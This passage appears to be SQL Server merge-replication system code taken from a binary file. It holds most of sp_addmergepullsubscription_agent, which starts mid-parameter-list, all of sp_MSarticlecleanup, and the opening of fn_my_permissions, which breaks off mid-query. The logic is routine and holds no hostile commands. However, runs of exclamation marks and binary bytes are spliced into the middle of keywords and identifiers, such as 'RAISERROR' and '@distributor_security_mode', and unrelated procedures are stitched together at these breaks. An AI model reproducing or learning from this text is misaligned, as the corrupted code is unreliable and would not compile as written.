    @internet_login                    sysname = NULL,
    @internet_password                nvarchar(524)= NULL,
    @internet_security_mode            int = 1,
    @internet_timeout                int = 300,
    @hostname                        sysname    = NULL,
    -- used for jobstep level proxy accounts
    @job_login                         nvarchar(257) = NULL,
    @job_password                     sysname = NULL
    ) 
    AS
    BEGIN

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    declare @command                 	nvarchar(4000)
            ,@retcode                 	int
            ,@database                	sysname
            ,@repid                    	uniqueidentifier
            ,@pubid                    	uniqueidentifier
            ,@name_id                	nvarchar(50)
            ,@subscription_type_id    	int
            ,@category_name            	sysname
            ,@platform_nt            	binary
            ,@subscriber_enc_password    nvarchar(524)
            ,@publisher_enc_password     nvarchar(524)
            ,@distributor_enc_password   nvarchar(524)
            ,@internet_enc_password     	nvarchar(524)
            ,@use_ftp_bit            	bit
            ,@use_interactive_bit    	bit
            ,@merge_job_step_uid     	uniqueidentifier
            ,@edition_id int

    select @platform_nt = 0x1
            ,@use_ftp_bit = 0
            ,@merge_job_step_uid = NULL
            ,@edition_id = sys.fn_MSrepl_editionid ()
            
    -- Security check
    exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0
    begin
        return 1
    end

    -- For attach check
    if object_id(N'dbo.MSrepl_restore_stage') is not null
    begin
        raiserror(21211, 16, -1)
        return 1
    end

    -- Set null @optional_command_line to empty string to avoid string concat problem
    if @optional_command_line is null
        set @optional_command_line = ''
    else
        set @optional_command_line = N' ' + LTRIM( RTRIM(@optional_command_line) ) + N' '

    IF @distributor_password = N''
        select @distributor_password = NULL

    IF @publisher_password = N''
        select @publisher_password = NULL

    IF @internet_password = N''
        select @internet_password = NULL

    IF @ftp_password = N''
        select @ftp_password = NULL

    if @distributor is NULL
        select @distributor = @publisher
        
    /*
    ** Parameter Check: @subscriber and @subscriber_db
    */

    IF @subscriber IS NOT NULL 
    	OR @subscriber_db IS NOT NULL
    BEGIN
		-- The @subscriber and @subscriber_db parameter(s) have been deprecated and should no longer be used. See the 'sp_addpullsubscription_agent' documentation for more information.
		RAISERROR(21827, 10, -1, '@subscriber and @subscriber_db', 'sp_addmergepullsubscription_agent')
    END
    
   	SELECT @subscriber = @@SERVERNAME,
			@subscriber_db = DB_NAME()

    EXECUTE @retcode = sys.sp_validname @subscriber
    IF @@ERROR <> 0 OR @retcode <> 0
       RETURN (1)

    EXECUTE @retcode = sys.sp_validname @subscriber_db
    IF @@ERROR <> 0 OR @retcode <> 0
       RETURN (1)

    /* 
    ** Parameter check: @alt_snapshot_folder 
    ** @alt_snapshot_folder and @use_ftp are mutually exclusive    
    ** @dynamic_snapshot_location is incompatible with both 
    ** @alt_snapshot_folder and @use_ftp
    */

    IF @alt_snapshot_folder <> N'' AND @alt_snapshot_folder IS NOT NULL
    BEGIN
        IF LOWER(@use_ftp collate SQL_Latin1_General_CP1_CS_AS) = N'true'
        BEGIN
            RAISERROR(21146, 16, -1)
            RETURN (1)
        END
        IF @dynamic_snapshot_location <> N'' AND @dynamic_snapshot_location IS NOT NULL
        BEGIN
            RAISERROR(21341, 16, -1)
            RETURN (1)
        END
    END

    /*
    ** Parameter Check: @use_interactive_resolver  
    */
    if LOWER(@use_interactive_resolver collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14148, 16, -1, '@use_interactive_resolver')
            RETURN (1)
        END
    if LOWER(@use_interactive_resolver collate SQL_Latin1_General_CP1_CS_AS) = 'true'
        set @use_interactive_bit = 1
    else 
        set @use_interactive_bit = 0

    /* 
    ** Parameter check: @use_ftp
    ** Must be 'true' or 'false'
    */
    IF LOWER(@use_ftp collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
    BEGIN
        RAISERROR (14148, 16, -1, '@use_ftp')
        RETURN (1)
    END
    
    IF LOWER(@use_ftp collate SQL_Latin1_General_CP1_CS_AS) = 'true'
    BEGIN
        /*
        ** Ftp file transfer is incompatible with @dynamic_snapshot_location
        */
        IF @dynamic_snapshot_location <> N'' AND @dynamic_snapshot_location IS NOT NULL
        BEGIN
            RAISE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<('
1$v5DRROR (21342, 16, -1)
            RETURN (1)
        END

        SELECT @use_ftp_bit = 1

    END
    ELSE
    BEGIN
        SELECT @use_ftp_bit = 0
    END

    /*
    ** Parameter Check: @offloadserver
    */
	IF @offloadagent IS NOT NULL
		AND RTRIM(LTRIM(LOWER(@offloadagent))) != 'false'
	BEGIN
		-- "Parameter '@offloadagent' is no longer supported."
		RAISERROR(21698, 16, -1, '@offloadagent')
		RETURN 1
	END

	IF ISNULL(@offloadserver, N'') != N''
	BEGIN
		-- "Parameter '@offloadserver' is no longer supported."
		RAISERROR(21698, 16, -1, '@offloadserver')
		RETURN 1
	END    
	
    -- Make sure that there are no leading or trailing blanks
    -- in the dynamic snapshot location
    select @dynamic_snapshot_location = rtrim(ltrim(@dynamic_snapshot_location))

    select @subscription_type_id = 1 /* pull agent only */
    /*
    ** Set Default schedule values if NULL is specified
    ** The default are not implemented during parmeter defintion because this procedure
    ** is can be called from sp_addmergesubscription.
    */
    if @frequency_type is NULL
        set @frequency_type = 4        /* Daily */
    if @frequency_interval is NULL
        set @frequency_interval = 1
    if @frequency_relative_interval is NULL
        set @frequency_relative_interval = 1
    if @frequency_recurrence_factor is NULL
        set @frequency_recurrence_factor = 0
    if @frequency_subday is NULL
        set @frequency_subday = 8    /* Hour */
    if @frequency_subday_interval is NULL
        set @frequency_subday_interval = 1
    if @active_start_time_of_day is NULL
        set @active_start_time_of_day = 0
    if @active_end_time_of_day is NULL
        set @active_end_time_of_day = 235959
    if @active_start_date is NULL
        set @active_start_date = 0
    if @active_end_date is NULL
        set @active_end_date = 99991231
            
    select @pubid = pubid from dbo.sysmergepublications 
        where name = @publication and UPPER(publisher)=UPPER(@publisher) and publisher_db=@publisher_db
    IF @pubid is NULL
    begin
        RAISERROR (20026, 16, -1, @publication)
        RETURN (1)
    end

    select @repid = subid, @subscription_type_id = subscription_type from dbo.sysmergesubscriptions
        where subscriber_server = @subscriber and pubid<>subid and pubid = @pubid and db_name = @subscriber_db
    if @subscription_type_id = 0
    begin
        -- can add an agent only for pull, anonymous or lighweight subscriptions
        -- cannot add an agent for a push subscription
        RAISERROR (20635, 16, -1, @publication)
        RETURN (1)
    end
    
	-- Check if the agent already exists.
	IF EXISTS(SELECT * 
				FROM dbo.MSmerge_replinfo msmr
			        JOIN msdb.dbo.sysjobs  sj
			        	ON msmr.merge_jobid = sj.job_id
		        WHERE repid = @repid)
	BEGIN
		SELECT @job_name = sj.name
			FROM dbo.MSmerge_replinfo msmr
		        JOIN msdb.dbo.sysjobs sj
		        	ON msmr.merge_jobid = sj.job_id
	        WHERE repid = @repid
	        
		-- A replication agent job for this subscription already exists.
		RAISERROR(21837, 11, -1, @job_name)
		RETURN 1
	END

	-- Parameter check: @subscriber_security_mode, @subscriber_login, @subscriber_password 
    IF (@subscriber_security_mode IS NOT NULL
    		AND @subscriber_security_mode <> 1)
    	OR @subscriber_login IS NOT NULL
    	OR @subscriber_password IS NOT NULL
    BEGIN
		-- The @subscriber_security_mode, @subscriber_login and @subscriber_password parameter(s) have been deprecated and should no longer be used. See the 'sp_addpullsubscription_agent' documentation for more information.
		RAISERROR(21827, 10, -1, '@subscriber_security_mode, @subscriber_login and @subscriber_password', 'sp_addmergepullsubscription_agent')
    END

	-- if we do not require yukon security then check paramters.
	IF sys.fn_yukonsecuritymodelrequired(NULL) = 0
	BEGIN
		IF @job_login IS NULL
		BEGIN
			IF @job_password IS NOT NULL
			BEGIN
				-- Parameter '@job_login' can be set to 'NULL' only when '@job_password' is set to 'NULL'.
				RAISERROR(21678, 16, -1, '@job_login', 'NULL', '@job_password', 'NULL')
				RETURN 1
			END
		END
		ELSE
		BEGIN
			IF @job_password IS NULL
			BEGIN
				-- Parameter '@job_password' can be set to 'NULL' only when '@job_login' is set to 'NULL'.
				RAISERROR(21678, 16, -1, '@job_password', 'NULL', '@job_login', 'NULL')
				RETURN 1
			END

			IF @edition_id <> 40 and @edition_id <> 22
				AND sys.fn_replisvalidwindowsloginformat(@job_login) != 1
			BEGIN
				-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_addmergepullsubscription_agent'.
				RAISERROR(21797, 16, -1, '@job_login', 'sp_addmergepullsubscription_agent')
				RETURN 1
			END
		END
	END
	-- if yukon sec required then a valid windows login/password is required
	ELSE
	BEGIN
		IF @job_login IS NULL
			OR @job_password IS NULL
		BEGIN
			-- Only members of the sysadmin fixed server role can perform this operation without specifying @job_login or @job_password.
			RAISERROR(21832, 16, -1, '@job_login or @job_password')
			RETURN 1
		END

		IF @edition_id <> 40  and @edition_id <> 22
			AND sys.fn_replisvalidwindowsloginformat(@job_login) != 1
		BEGIN
			-- '@job_login' must be a valid Windows Login in the form : 'MACHINE\Login' or 'DOMAIN\Login'. Please see the documentation for 'sp_addmergepullsubscription_agent'.
			RAISERROR(21797, 16, -1, '@job_login', 'sp_addmergepullsubscription_agent')
			RETURN 1
		END
	END
	
	
	-- Subscriber must be Windows Authentication
	SELECT @subscriber_security_mode = 1,
			@subscriber_login = N'',
			@subscriber_password = N'**********',
			@subscriber_enc_password = @subscriber_password

    EXEC @retcode = sys.sp_MSreplencrypt @subscriber_enc_password OUTPUT
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN 1

    -- default to Windows Auth.
    SELECT @publisher_security_mode = ISNULL(@publisher_security_mode, 1)
    
    -- check security mode
    IF @publisher_security_mode not in (0, 1)
    BEGIN
        -- The specified '@publisher_security_mode' is invalid (valid values are: 0, 1).
        RAISERROR(14266, 16, -1, '@publisher_security_mode', '0, 1')
        RETURN 1
    END

    -- make sure that the login is valid
    SELECT @publisher_login = RTRIM(LTRIM(ISNULL(@publisher_login, '')))

    -- Publisher Security Mode 1
    IF @publisher_security_mode = 1
    BEGIN
        SELECT @publisher_login = '',
                @publisher_password = newid()
    END
    -- Publisher Security Mode 0
    ELSE IF @publisher_login = ''
    BEGIN
        RAISERROR(21694, 16, -1, '@publisher_login', '@publisher_security_mode')
        RETURN 1
    END

    -- Encrypt Publisher Password
     SELECT @publisher_enc_password = @publisher_password
     
    EXEC @retcode = sys.sp_MSreplencrypt @publisher_enc_password OUTPUT
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN 1

    -- default to Windows Auth.
    SELECT @distributor_security_mode = ISNULL(@distributor_security_mode, 1)
    
    -- check security mode
    IF @distributor_security_mode not in (0, 1)
    BEGIN
        -- The specified '@distributor_security_mode' is invalid (valid values are: 0, 1).
        RAISERROR(14266, 16, -1, '@distributor_security_mode', '0, 1')
        RETURN 1
    END

    -- make sure that the login is valid
    SELECT @distributor_login = RTRIM(LTRIM(ISNULL(@distributor_login, '')))

    -- Distributor Security Mode 1
    IF @distributor_security_mode = 1
    BEGIN
        SELECT @distributor_login = '',
                @distributor_password = newid()
    END
    -- Distributor Security Mode 0
    ELSE IF @distributor_login = ''
    BEGIN

        -- '@distributor_login cannot be null or empty when @distributor_security_mode is set to 0 (SQL Server authentic!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<('
Q_v5Dation).'
        RAISERROR(21694, 16, -1, '@distributor_login', '@distributor_security_mode')
        RETURN 1
    END

    -- Encrypt Distributor Password
     SELECT @distributor_enc_password = @distributor_password
     
    EXEC @retcode = sys.sp_MSreplencrypt @distributor_enc_password OUTPUT
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN 1
        
    select @internet_login = rtrim(ltrim(isnull(@internet_login, '')))
    if @internet_security_mode = 0 and @internet_login = ''
    begin
        -- '@internet_login cannot be null or empty when @internet_security_mode is set to 0 (SQL Server authentication).'
        raiserror(21694, 16, -1, '@internet_login', '@internet_security_mode')
        return 1
    end
    
    IF object_id('MSsubscription_properties','U') is NULL
    begin
        raiserror(14027, 16, -1, 'The subscription properties table ''MSsubscription_properties''')
        return (1)
    end
    
    declare @job_existing bit
    -- For scripting
    if @job_name is null
        select @job_existing = 0
    else
    begin
        select @job_existing = 1
        select @name = @job_name
    end

    /*
    ** Construct unique task name if @name = NULL
    */
    IF @name IS NULL
   	BEGIN
   		SELECT @name = CONVERT(nvarchar(23),@publisher ) + '-' + CONVERT(nvarchar(23),@publisher_db) + '-' + 
                        CONVERT(nvarchar(23),@publication) + '-' + CONVERT(nvarchar(23),@subscriber) + '-' +
                        CONVERT(nvarchar(23), @subscriber_db) + '- 0'

		IF EXISTS (SELECT * 
				FROM msdb.dbo.sysjobs_view 
				WHERE name = @name)
		BEGIN
			SELECT @name = sys.fn_repluniquename(newid(), 
													@publisher, 
													@publisher_db, 
													@publication,
													@subscriber_db)
		END			
    END

    begin tran
    save tran sp_pullsub_agent

    if @job_existing = 0
    begin
        /* Construct task command */
        select @command = '-Publisher ' + QUOTENAME(@publisher) + ' -PublisherDB ' + QUOTENAME(@publisher_db) + ' '
        select @command = @command + '-Publication ' + QUOTENAME(@publication) + ' '
        select @command = @command + '-Subscriber ' + QUOTENAME(@@SERVERNAME)  + ' '
        select @command = @command + '-SubscriberDB ' + QUOTENAME(db_name()) + ' '
        SELECT @command = @command + '-SubscriptionType ' + convert(nvarchar(10), @subscription_type_id)  + ' '

        -- Always use integrated for local security
        select @command = @command + '-SubscriberSecurityMode 1 ' 
        
        select @command = @command + @optional_command_line
        select @command = @command + ' -Distributor ' + QUOTENAME(@distributor) + ' '
        
        select @dynamic_snapshot_location = rtrim(ltrim(@dynamic_snapshot_location))
        if @dynamic_snapshot_location is not null and 
           @dynamic_snapshot_location <> N''
            select @command = @command + N'-DynamicSnapshotLocation ' + sys.fn_replquotename(@dynamic_snapshot_location, default) collate database_default + N' '

        select @internet_url = rtrim(ltrim(@internet_url))
        --if @internet_url is not null and 
          -- @internet_url <> N''
            --select @command = @command + N'-WebSync 1 '
            
        -- Don't need to add InternetURL, InternetLogin, InternetPassword, InternetSecurityMode and Hostname
        -- to the command line. This is because we want to allow those properties to be easily changed
        -- in the MSsubscription_properties table (as opposed to updating command line args in sysjobsteps).

        -- Get Merge category name (assumes category_id = 14)
        select @category_name = name FROM msdb.dbo.syscategories where category_id = 14

        EXEC @retcode = sys.sp_MSadd_repl_job
                @name = @name,
                @subsystem = 'Merge',
                @server = @@SERVERNAME,
                @databasename = @subscriber_db,
                @enabled = 1,
                @freqtype = @frequency_type,
                @freqinterval = @frequency_interval,
                @freqsubtype = @frequency_subday,
                @freqsubinterval = @frequency_subday_interval,
                @freqrelativeinterval = @frequency_relative_interval,
                @freqrecurrencefactor = @frequency_recurrence_factor,
                @activestartdate = @active_start_date,
                @activeenddate = @active_end_date,
                @activestarttimeofday = @active_start_time_of_day,
                @activeendtimeofday = @active_end_time_of_day,
                @command = @command,
                @retryattempts = 10,
                @retrydelay = 1,
                @category_name = @category_name,
                @job_id = @merge_jobid OUTPUT,
                @job_step_uid = @merge_job_step_uid OUTPUT,
                @job_login = @job_login,
                @job_password = @job_password

        if @@ERROR <> 0 or @retcode <> 0 goto Rollback_tran
    end
    else
    begin
        SELECT @merge_jobid = sjv.job_id,
                    @merge_job_step_uid = sjs.step_uid
            FROM msdb.dbo.sysjobs_view as sjv 
                JOIN msdb.dbo.sysjobsteps as sjs 
                    ON sjv.job_id = sjs.job_id 
            WHERE sjv.name = @job_name collate database_default 
                AND UPPER(sjv.originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
                AND sjv.master_server = 0
                AND sjv.category_id = 14
                AND sjs.subsystem = N'Merge'
                AND sjs.database_name = db_name()
        
        if @merge_jobid IS NULL
        begin
            -- Message from msdb.dbo.sp_verify_job_identifiers
            RAISERROR(14262, -1, -1, 'Job', @name)          
            goto Rollback_tran
        end
    end

    if (@subscription_type_id = 1) OR (@subscription_type_id = 2) OR (@subscription_type_id = 3)
    begin
        IF NOT EXISTS (select * from MSsubscription_properties 
            where UPPER(publisher) = UPPER(@publisher)
            and publisher_db =  @publisher_db
            and publication = @publication) 
        BEGIN
            -- We no longer supported passing in encrypted passwords
            IF @encrypted_password = 1
            BEGIN
                -- Parameter '@encrypted_password' is no longer supported.
                RAISERROR(21698, 16, -1, '@encrypted_password')
                goto Rollback_tran
            END
    
            IF @publisher_encrypted_password = 1
            BEGIN
                -- Parameter '@publisher_encrypted_password' is no longer supported.
                RAISERROR(21698, 16, -1, '@publisher_encrypted_password') 
                goto Rollback_tran
            END

		    -- Encrypt Distributor Password
		    SELECT @internet_enc_password = @internet_password
		    
            EXEC @retcode = sys.sp_MSreplencrypt @internet_enc_password OUTPUT
            IF @@error <> 0 OR @retcode <> 0 goto Rollback_tran
              
            INSERT INTO MSsubscription_properties 
            (publisher, publisher_db, publication, publication_type, 
             publisher_login,publisher_password, publisher_security_mode, 
             distributor, distributor_login, distributor_password, 
             distributor_security_mode, ftp_address, ftp_port, ftp_login, 
             ftp_password, alt_snapshot_folder, working_directory, use_ftp,
             offload_agent, offload_server, dynamic_snapshot_location, use_web_sync, internet_url,
             internet_login, internet_password, internet_security_mode, internet_timeout, hostname, job_step_uid)
            values 
            (@publisher, @publisher_db, @publication, 2, @publisher_login, 
             @publisher_enc_password, @publisher_security_mode, @distributor, 
             @distributor_login, @distributor_enc_password, 
             @distributor_!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<I'
+rU5Dsecurity_mode, null, null, null,
             null, @alt_snapshot_folder, @working_directory, @use_ftp_bit,
             0, null, @dynamic_snapshot_location, @use_web_sync, @internet_url,
             @internet_login, @internet_enc_password, @internet_security_mode, @internet_timeout, @hostname, @merge_job_step_uid)
            IF @@ERROR <> 0 goto Rollback_tran
        END
        ELSE
        BEGIN
			 UPDATE MSsubscription_properties SET  
				 	distributor = @distributor,
	                distributor_login = @distributor_login,
	                distributor_password = @distributor_enc_password,
	                distributor_security_mode = @distributor_security_mode,
	                publisher_login = @publisher_login,
	                publisher_password = @publisher_enc_password,
	                publisher_security_mode = @publisher_security_mode,
	                job_step_uid = @merge_job_step_uid
                WHERE UPPER(publisher) = UPPER(@publisher)
                    AND publisher_db =  @publisher_db
                    AND publication = @publication
        END
    end

    /* Update merge jobid for this pull subscription */
    UPDATE dbo.MSmerge_replinfo 
        set merge_jobid = @merge_jobid,
            use_interactive_resolver = @use_interactive_bit
        WHERE repid = @repid
    
    /* Conditional support for MobileSync */
    if LOWER(@enabled_for_syncmgr collate SQL_Latin1_General_CP1_CS_AS) = 'true'
    BEGIN
        /* Call sp_MSregistersubscription so that the subscription can be synchronized via MobileSync etc. */
        exec @retcode = sys.sp_MSregistersubscription @replication_type = 2,
                                    @publisher = @publisher,
                                    @publisher_security_mode = @publisher_security_mode,
                                    @publisher_login = @publisher_login,
                                    @publisher_password = @publisher_password,
                                    @publisher_db = @publisher_db,
                                    @publication = @publication,
                                    @subscriber = @subscriber,
                                    @subscriber_db = @subscriber_db,
                                    @subscriber_security_mode = @subscriber_security_mode,
                                    @subscriber_login = @subscriber_login,
                                    @subscriber_password = @subscriber_password,
                                    @distributor = @distributor,
                                    @distributor_security_mode = @distributor_security_mode,
                                    @distributor_login = @distributor_login,
                                    @distributor_password = @distributor_password,
                                    @subscription_id = @repid,
                                    @subscription_type = @subscription_type_id,
                                    @use_interactive_resolver = @use_interactive_bit,
                                    @use_web_sync = @use_web_sync,
                                    @hostname = @hostname

        IF @@ERROR <> 0 or @retcode <> 0 goto Rollback_tran
    END

	-- If we didn't need to create the job but 
	-- we were given the job_login and job_password
	-- then we will attempt to change them or add
	-- NOTE:
	-- We do this at the very end because the actual
	-- agent must be added prior to setting the login
	-- and passwords...
	IF @job_existing = 1
	BEGIN
		IF @job_login IS NOT NULL
		BEGIN
			EXEC @retcode = sys.sp_change_subscription_properties @publisher = @publisher,
																	@publisher_db = @publisher_db,
																	@publication = @publication,
																    @property = 'merge_job_login',
																	@value = @job_login
			IF @retcode <> 0 OR @@ERROR <> 0
	            goto Rollback_tran

			EXEC @retcode = sys.sp_change_subscription_properties @publisher = @publisher,
																	@publisher_db = @publisher_db,
																	@publication = @publication,
																    @property = 'merge_job_password',
																	@value = @job_password
			IF @retcode <> 0 OR @@ERROR <> 0
		    	goto Rollback_tran
		END
	END
	
commit tran
    RETURN (0)
Rollback_tran:
    rollback tran sp_pullsub_agent
    commit tran
    return (1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(/ϊvycreate procedure sys.sp_MSarticlecleanup
    @pubid uniqueidentifier, 
    @artid uniqueidentifier, 
    @ignore_merge_metadata bit = 0,
    @force_preserve_rowguidcol bit = 0
as
    set nocount on
    declare @source_table   nvarchar(517)
    declare @ownername      sysname
    declare @objectname     sysname
    declare @tablenick      int
    declare @objid          int
    declare @sync_objid     int
    declare @view_type      int
    declare @tsview         nvarchar(50)
    declare @guidstr        nvarchar(50)
    declare @csview         nvarchar(50)
    declare @viewname       nvarchar(517)
    declare @retcode        smallint
    declare @qualified_name nvarchar(270)
    declare @bi_tablename   nvarchar(258)
    declare @bi_viewname    nvarchar(258)
    declare @bi_procname    nvarchar(258)
    declare @before_table_view sysname
    declare @merge_pub_markcolumn_bit int
    declare @merge_pub_unmarkcolumn_bit int
    declare @current_mappings_viewname sysname
    declare @past_mappings_viewname sysname
    declare @partition_view_name sysname
    declare @repl_view_name nvarchar(258)
    declare @before_upd_viewname nvarchar(258)
    declare @preserve_rowguidcol bit
    declare @constraintname nvarchar(258)
    declare @genview sysname


    -- to be called after article is set up in a subscriber

    /*
    ** Security Check
    */
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

    select @merge_pub_markcolumn_bit = 0x4000
    select @merge_pub_unmarkcolumn_bit = ~@merge_pub_markcolumn_bit

    select @objid = max(objid) from dbo.sysmergearticles where artid = @artid

    if @objid is NULL 
        return 0

    -- get owner name, and table name
    select @objectname = name, @ownername = schema_name(schema_id)
        from sys.objects where object_id = @objid

    -- construct the qualified table name
    select @source_table = QUOTENAME(@ownername) + '.' + QUOTENAME(@objectname)

    exec @retcode=sys.sp_MSguidtostr @artid, @guidstr out
    if @retcode<>0 or @@ERROR<>0 return (1)

    -- get the insert, update and conflict proc names from dbo.sysmergearticles
    select  @sync_objid = sync_objid, 
            @view_type = view_type, 
            @tablenick = nickname,
            @bi_tablename = object_name(before_image_objid),
            @bi_viewname = object_name(before_view_objid),
            @before_upd_viewname = object_name(before_upd_view_objid),
            @preserve_rowguidcol = preserve_rowguidcol
        from dbo.sysmergearticles where
            pubid = @pubid and artid = @artid

    -- set the article status to indicate it is in no other publication,
    -- and it is about to be removed.
    update dbo.sysmergearticles set status= 7
        where pubid = @pubid and artid = @artid

    -- drop the per article contents view for this article
    exec @retcode= sys.sp_MSdropctsviews @pubid, @artid
    if @@error<>0 or @retcode<>0 
        return 1

    /* If there is a before image table, drop it and its cleanup proc */
    if (@bi_tablename is not null)
    begin
        set @bi_procname = @bi_tablename + '_clean'
        if exists (select * from sys.objects where
                        name = @bi_procname and type = 'P')
        begin
            select @bi_procname = QUOTENAME(@bi_procname) 
            exec ('drop proc ' + @bi_procname)
            if @@ERROR<>0 return (1)
        end

        select @bi_tablename = QUOTENAME(@bi_tablename)
        exec ('drop table ' + @bi_tablename)
        if @@ERROR<>0 return (1)

        -- delete the before table view created for access in the trigger
        set @before_table_view = 'MSmerge_bivw_' + @guidstr
        if exists (select * from sys.objects where type = 'V' and name = @before_table_view)
        begin
            exec (' drop view ' + @before_table_view)
            if @@ERROR<>0 return (1)                    
        end
    end
    
    /* If there is a before image view, drop it */
    if (@bi_viewname is not null)
    begin
        select @bi_viewname = QUOTENAME(@bi_viewname)
        
        exec ('drop view ' + @bi_viewname)
        if @@ERROR<>0 return (1)
    end

    if (@before_upd_viewname is not null)
    begin
        select @before_upd_viewname = QUOTENAME(@before_upd_viewname)
        
        exec ('drop view ' + @before_upd_viewname)
        if @@ERROR<>0 return (1)
    end

    /* Drop the article procs */
    exec @retcode=sys.sp_MSdroparticleprocs @pubid, @artid
    if @@ERROR<>0 or @retcode<>0 return (1)

    -- Drop the article-specific conflict table.
    exec @retcode= sys.sp_MSdrop_article_conflict_table @pubid=@pubid, @artid=@artid
    if @@error<>0 or @retcode<>0 return 1

    /* Drop the article triggers */
    exec @retcode=sys.sp_MSdroparticletriggers @objectname, @ownername
	if @@ERROR<>0 or @retcode<>0 return (1)

    exec @retcode=sys.sp_MSunmarkreplinfo @object=@objectname, @owner=@ownername
    if @@ERROR<>0 or @retcode<>0 return (1)

    /* If the article's has a temporary ( view type = 2) or a permanent view (view_type = 1 ) drop the sync object */
    if (@objid <> @sync_objid)
    begin
        select @viewname = name from sys.objects where type='V' and is_ms_shipped = 1 and object_id = @sync_objid
        if @viewname IS NOT NULL
        begin
            select @ownername = schema_name(schema_id) from sys.objects where name=@viewname
            set @viewname = QUOTENAME(@ownername) + '.' + QUOTENAME(@viewname)
            exec ('drop view ' + @viewname)
            if @@ERROR<>0 return (1)
        end
    end

    -- Drop repl_view_
    select @repl_view_name = NULL
    if object_id('dbo.sysmergepartitioninfo', 'U') is not NULL
    begin
        select @repl_view_name = QUOTENAME(object_name(repl_view_id)) from dbo.sysmergepartitioninfo WHERE artid = @artid AND pubid = @pubid
        if object_id(@repl_view_name) is not NULL
        begin
            exec ('drop view ' + @repl_view_name)
        end

        select @repl_view_name = NULL
        select @repl_view_name = QUOTENAME(object_name(logical_record_view)) from dbo.sysmergepartitioninfo WHERE artid = @artid AND pubid = @pubid
        if @repl_view_name is not NULL
        begin
            exec ('drop view ' + @repl_view_name)
        end        
    end

    /*
    ** Drop the views created for MSmerge_contents and MSmerge_tombstone before dropping these two tables
    */
    set @csview = 'MSmerge_ctsv_' + @guidstr
    set @tsview = 'MSmerge_tsvw_' + @guidstr
    set @genview = 'MSmerge_genvw_' + @guidstr

    if EXISTS (select * from sys.objects where name=@csview and type='V')
    BEGIN
        select @ownername = schema_name(schema_id) from sys.objects where  name=@csview
        select @viewname = QUOTENAME(@ownername) + '.' + QUOTENAME(@csview)
        exec ('drop view ' + @viewname)
            if @@ERROR<>0 return (1)
    END
        
    if EXISTS (select * from sys.objects where name=@tsview and type='V')
    BEGIN
        select @ownername = schema_name(schema_id) from sys.objects where  name=@tsview
        select @viewname = QUOTENAME(@ownername) + '.' + QUOTENAME(@tsview)
        exec ('drop view ' + @viewname)
            if @@ERROR<>0 return (1)
    END

    if EXISTS (select * from sys.objects where name=@genview and type='V')
    BEGIN
        select @ownername = schema_name(schema_id) from sys.objects where  name=@genview
        select @viewname = QUOTENAME(@ownername) + '.' + QUOTENAME(@genview)
        exec ('drop view ' + @viewname)
            if @@ERROR<>0 return (1)
    END

    /*
    ** Drop the views created for MSmerge_past_partition_mappings and MSmerge_past_current_mappings as well for this article
    */
    set @current_mappings_viewname = 'MSmerge_cpmv_' + @guidstr
    set @past_mappings_viewname = 'MSmerge_ppmv_'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`>!<p 
/̶0p !8CREATE FUNCTION sys.fn_my_permissions(@entity sysname, @class nvarchar(60)) 
RETURNS @myperms table (
			entity_name sysname		NULL, 
			subentity_name sysname	NULL, 
			permission_name nvarchar(60))
AS
    BEGIN
	IF (LOWER(@class) = 'database')
	    SET @entity = NULL
	IF (@class IS NULL or len(@class) = 0)
	    SET @class = 'server'	

	DECLARE @pseudoclass sysname
	IF (LOWER(@class) = 'server')
	    SET @pseudoclass = NULL
	ELSE 
	    SET @pseudoclass = @class

	DECLARE @entityname sysname
	SET @entityname = CASE LOWER(@class)
			    WHEN 'server' THEN 'server'
			    WHEN 'database' THEN 'database'
			    ELSE @entity
			  END
	IF (LOWER(@class) = 'server')
	    SET @pseudoclass = NULL
	ELSE 
	    SET @pseudoclass = @class

	-- Get Entity Level Permissions	
	INSERT INTO @myperms	
	    SELECT @entityname, '', fbp.permission_name
	    FROM sys.fn_builtin_permissions(@class) AS fbp
	    WHERE has_perms_by_name(@entity, @pseudoclass, fbp.permission_name) <> 0

	-- Get Sub Entity Level Permissions	
	IF (LOWER(@class) = 'object')
	    BEGIN
		DECLARE @objId int
		DECLARE @thisPerm sysname
		
		SELECT @objId = object_id(@entity)

		INSERT INTO @myperms
		    SELECT @entity, name, 'SELECT'
		    FROM sys.columns where object_id = @objId AND
			has_perms_by_name(@entity, 'object', 'select', name, 'column') <> 0
			
		INSERT INTO @myperms
		    SELECT @entity, name, 'UPDATE'
		    FROM sys.columns where object_id = @objId AND
